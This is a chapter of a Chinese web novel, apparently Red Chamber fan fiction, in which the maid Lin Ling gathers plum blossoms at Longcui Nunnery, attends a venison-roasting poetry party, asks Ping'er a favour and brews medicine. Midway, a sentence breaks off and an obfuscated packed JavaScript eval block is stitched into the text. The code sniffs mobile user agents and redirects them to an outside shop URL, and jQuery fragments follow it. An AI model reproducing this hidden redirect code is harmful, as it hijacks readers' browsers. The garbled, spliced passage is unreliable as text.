47. 踏雪寻红梅
作品:《红楼丫鬟生存记》 众人皆没有异议,齐齐往怡红院方向走去。
黛玉却更爱那一缕梅香,她顿住了脚步,扭头对身后的紫鹃招了招手。
“怎么了?姑娘。”紫鹃凑近问道。
黛玉附在紫鹃耳边轻声道:“炙鹿肉腻的慌,你去栊翠庵摘几束梅花过来,梅香最是沁人心脾。”
紫鹃微微皱眉,踌躇道:“姑娘的想法是极好的,只是妙玉姑娘……”
她话虽未明说,黛玉却知她的意思。只叹妙玉平日太过孤傲了些,惹得众人敬而远之。
黛玉细细解释道:“妙玉虽为人冷淡古怪,却不是个爱刁难人的,你尽管去就是了。况且也未必会碰上。”
紫鹃仔细想来也觉得有道理,点头应下了这差事。
只是独自一人到底寂寞无趣,她朝人群里望了望,突然快步上前拉住缀在最末端的林苓。
却说闹过之后,莺儿便顶了撑伞的差事,林苓也乐得自在。宝钗正同宝玉讲话,林苓避嫌不愿凑的太近,便不知不觉落在了最后。忽然有人扯住自己的胳膊,她扭头一看,原来是紫鹃。
林苓笑着转身:“你怎的从后头窜出来了,我还以为身后冒出了个雪怪呢。”
“我只知年怪,雪怪倒头一回听。”紫鹃浅笑着说,又朝西边的方向指了指,“我要去栊翠庵摘梅花,你去不去?”
想到那一大片一大片的红梅,缀着洁白的雪花,一副娇艳欲滴的模样。林苓狠狠心动了。
她往前探了探身子。只见宝钗在人群前与众姊妹说说笑笑,笑颜晏晏,莺儿也很闲适,瞧着不需要她候着。
林苓点点头,到了岔口便与紫鹃并肩往栊翠庵的方向走去。两人共撑一把青绸油伞,穿梭在琉璃世界之中。
半晌便到了,只见山门微微敞开,阶前的苔藓覆着雪绒。两人小心翼翼的踩在台阶上,积雪挤压发出簌簌轻响,惊起廊下雀鸟。
林苓往天上一指,奇怪道:“下雪天竟也有雀鸟飞?”
紫鹃的视线跟着她指的方向游走,笑道:“雪雁刚跟姑娘从本家来时,头回见雪天的鸟雀也瞪大了眼,又惊又叹的。”
“又说错话了。”林苓心里懊恼,而后赶忙添了一句,“方才和宝姑娘一路上也没瞧见一只,我还以为都躲着呢。”
所幸紫鹃并未发觉有什么不妥,只淡笑道:“许是鸟雀也偏爱此处的梅香。”
说罢,她轻轻推开了山门。尽管动作轻柔,还是抖落了檐角的积雪。只同轰的一声,厚厚的雪层砸在地上,惊动了庭中之人。
妙玉放下手中的扫帚,快步往山门处探来。嘴里问道:“是何人?”
紫鹃与林苓立在门边,笑着说:“是林姑娘唤我们来的。”
妙玉将人引进门来,问:“可有什么要紧事?”
听见她说“要紧”二字,紫鹃便有些踌躇了,到嘴边的话怎么也说不出口。
林苓看书时便觉得妙玉此人清高孤傲,若将炙肉时把玩几束梅花之事说出,担心她会觉得骄奢放诞,污了梅花的品性。
故而只笑着指了指庵中数十株红梅,解释道:“宝二爷与姑娘们赏雪吟诗,特意使我们来借几束红梅,添添雅性。”
妙玉侧开身子,说:“去折就是了。”言罢便不再理会二人,兀自进了东禅房。
二人往里走去,视线豁然开朗。只见庭中寒梅傲然挺立,老梅的虬枝上积了薄薄一层雪,倒衬得红梅愈发艳色逼人。
紫鹃挑着形状别致、模样艳丽的花枝折断。林苓则穿梭在红梅之间,瞧着、嗅着、触摸着,沉浸其中。
过了一会儿,紫鹃手里捏着三束花枝,笑道:“我折好了,你呢?”
“来了。”林苓随手折了三枝开的艳丽的,而后从红梅中窜了出来。
紫鹃念及妙玉喜静便不打算告辞,邀着林苓往山门走去。
途径林苓扫雪之地,林苓扯住了紫鹃,将梅花塞在她手里,笑道:“帮我拿着,你在这儿等一下。”
她将扫帚簸箕拾起,冒着雪将其立在了禅房的屋檐下。
她跑回来接过花:“走吧。”
紫鹃也未问缘由,只在心里暗赞她为人细致周到。林苓却没有想那么多,只是从小就听着面试捡扫帚的故事,耳濡目染便成了习惯,总觉得有人在暗处盯着。
栊翠庵在怡红院的后方,离的并不远。二人不紧不慢的往回走,一会儿便到了。刚迈进院子,便正巧撞见了出来透气的袭人。
“我说怎么走着走着人不见了,原是折梅去了。”袭人笑道。
紫鹃挑了一束递与她,笑道:“快拿个精巧的瓶子插着,给姑娘们瞧瞧。”
林苓站在廊下刮了刮鞋底的泥雪,而后将花放在角落里,与屋外的丫鬟知会了一声便往屋里去了。
推开房门的一瞬间,一股热浪扑面而来。屋外冰天雪地,屋内暖如三春之初,竟不觉窗外寒峭。空气里飘着一股烤肉的香气,混着辣子、孜然的气味,格外诱人。
众人围坐在方形铜制烤炉旁,果木炭火燃得猩红,鹿肉被烤的滋滋作响,油脂顺着纹理滴在炭上,有点将其灼出一个个小黑斑点,有的溅起细碎的火星。
贾宝玉捏着竹箸翻烤着肉片,湘云将他赶到一边,笑道:“去、去、去,自己边烤边吃才有味儿呢。”
宝玉不理他,取一双洁净的箸子在铜炉上挑了块嫩嫩的放在黛玉的碟子里,笑着说:“你尝尝这块儿。”
看着众姊妹吃的欢,黛玉有些意动,又怕吃了油腻的对身子不好。紫鹃看在眼里,笑道:“吃一点也不打紧。”
黛玉听了觉得有理,夹起肉片尝了一口,眉开眼笑的赞道:“果真好味道。”
宝玉见她爱吃,又给她挑了几片。黛玉却放下了箸子,不肯再多吃了。
“林妹妹吃不了那么多,顾着你自己就是了。”薛宝钗笑着打趣,意有所指的说道。
宝玉、黛玉:“……”
两人都不与理会,只有探春意味深长的笑了笑。
湘云方才与惜春边烤肉边说笑,并未注意到几人之间的机锋。她忽然站起来,指着门口笑道:“好别致的梅花。”
原来是袭人来了,她端着梅花笑道:“紫鹃折的这束红梅形状别致,我特地挑了汝窑美人觚装着,只有这只瓷瓶才最相配。”
紫鹃笑道:“果然好看。姑娘特地使我去的,定是拣着精巧漂亮的摘。”
“好、好,必要吟上一首诗来,才不辜负你专程跑一趟。”宝玉放下箸子,笑着说。
见他兴致这样高,众姊妹俱睁大眼瞧着他。哪知宝玉拍手踱步,憋了半晌也没作出一首。
湘云率先损他:“怡红公子还不快快说与咱们听?”
宝玉嘴硬道:“要作首顶顶好的才配得上此情此景此梅。容我再想想。”
“你再想想,此花是我命人折的,就由我先吟上一首。”黛玉见状,笑着解围。
姑娘们在铜炉边炙肉、吟诗。丫鬟们或是添炭火,或是热冷酒,或是端着铜盆面巾候在一旁,乌泱泱站满了人。
林苓对诗不感兴趣,又嫌屋子里闷得慌。她走到莺儿身边,轻声说:“我出去透口气,姑娘这儿你伺候着。”
莺儿和袭人、绣橘等人玩得入迷,哪有功夫管她,随意摆手点头应下。
林苓闷得头晕,鼻子又有些堵。也顾不上她是否听进去,兀自往外间去了。
外间的薰笼里也焚着炭,还是上好的银骨炭。林苓忍不住暗叹一声:“财大气粗。”
药房燃的是黑炭,算是品级中等的。下房用的却是柴炭,时常烧到隐藏款,烟雾缭绕。林苓靠在门边望着鹅毛大雪,边想着。
司棋站在她身后,朝外头望了望:“看什么呢,这样入神。”
林苓刚要说话,忽然一个提着食盒的姑娘正往这边走。等人靠近了林苓才认出来,此人正是平儿。
“真是想瞌睡就有人送枕头——来得正好!”林苓暗道,赶紧迎了上去。
司棋倒是一眼就认了出来,只见她挥手笑道:“平儿。”
平儿一面应着声,一面将油
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869822|186338||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伞收拢。林苓顺手接过,笑道:“平姑娘来的巧,姑娘们都在呢。”
“我知道,姑娘们专程使丫鬟邀过了。二奶奶叫我将庄子孝敬上来的朱橘拿来给大伙儿解解腻,正新鲜呢。”平儿举了举手里的篮子,笑着说。
“原来是这样。”林苓点点头,踌躇一会儿,下定决心后直言道:“我有事想问问你。”
“你说就是了。”平儿笑着说。
从迎春奶妈偷盗到疫病之事,平儿很欣赏她的果敢、聪慧。还是头一回见她扭捏的模样,司棋也疑惑的望着她。
“外头风大,进屋再聊。”林苓将两人引进屋子。而后将想与玉钏儿在次月调到府外居住的事说了出来。
司棋念及林苓初来大观园之时,帮着她和绣儿抓了惯爱偷盗的奶娘,此回正好还了这个人情。
故而率先笑道:“原是这事儿,上回我们几个还聊过呢,我觉得可行。”
平儿垂头思索片刻,暗自分析道:“虽说在府中做活的只有得脸的婆子可住在外头,但她上回之事为贾府添了光,老太太也常赞她机敏聪慧。又是上头赏的宅子……”
林苓见她表情几度变化,心里一紧,深知有点悬。
哪成想平儿忽然莞尔一笑,将此事应承下来。
“我回头和二奶奶说说。”
林苓心里陡然一松,眉开眼笑的说:“多谢了。”
此事敲定,三人才绕过隔断往屋里去,众姊妹见了平儿,都热络的招手邀她一起吃。
平儿在隔间便听见她们联对子、作诗词,她笑着打趣:“我没的诗作,也能吃吗?”
宝钗迅速接了这茬儿:“原是不用,你既这样说了,必要作一首才行。”
平儿倒了杯热酒,仰头喝尽:“我自罚一杯抵了,可好?”
宝玉拍手笑道:“好、好!”
探春笑着问:“你家奶奶怎的不来?”
平儿解释道:“被太太叫去了,这儿不,使我提些果子代她走一趟。”
眼瞧着到了晌午,屋外的雪也渐渐小了起来。林苓算着时辰,该去药房当值了。
她凑在宝钗耳边说道:“姑娘,我去药房看看。”宝钗笑着往屋外摆摆手。
林苓知她是应了,便抱起梅花往药房方向走去。
途径厨房时,远远便瞧见袅袅白烟从烟囱里飘出。林苓脚尖一转,进去取了两份午膳,哼着调子往药房走。
推开院门,她顺脚就要踢一块石头抵住。厘儿赶忙跑出来拦住:“今儿早上便修好了。”
说罢又摇头晃脑的说道:“还是赖妈妈说话有用。”
林苓取出一束花递给厘儿,而后笑着往屋里走:“谁说不是呢。”
厘儿兴冲冲的找了个素白的瓶子将花插上,俯身轻轻嗅了嗅:“是高雅的气味。”
林苓瞧她的样子,忍不住笑出了声。
她将食盒搁在桌子上,然后蹲在炭盆边暖了暖有些冻僵的手,说道:“我带了午饭,桌子上就是。”
厘儿欢呼一声:“耶!正好我懒得去取,外头怪冷的。”
她将饭菜摆放好,坐在桌边等了一会儿,没忍住道:“诶,你走来走去作甚,快来吃。”
“你先吃,我将伤寒药煎上,鼻子还是有些堵。”
林苓搬出炉子,塞几根又干燥又细短的木枝进去,再夹上几块烧的猩红的黑炭搁在上头。然后猛地吹一口气,木枝顿时大燃起来。
“算了,我等你一起。”厘儿递来一根粗材,坐在炉子边笑道。
突然,她猛地一拍脑袋:“对了,下旬的药材单子我已经记好了,到时你直接照着收药就行了。”
林苓称量着药,随口回了句:“行。”
“你放心,昨个儿赖妈妈教我记的,绝对没问题。”厘儿补充道。
林苓说:“我哪有不放心的,你确实该学着上手了。”
厘儿笑嘻嘻的点头。
捣鼓一阵,她将砂锅的盖子盖上,将厘儿从凳子上拉起来,说:“好了,吃饭吧。”

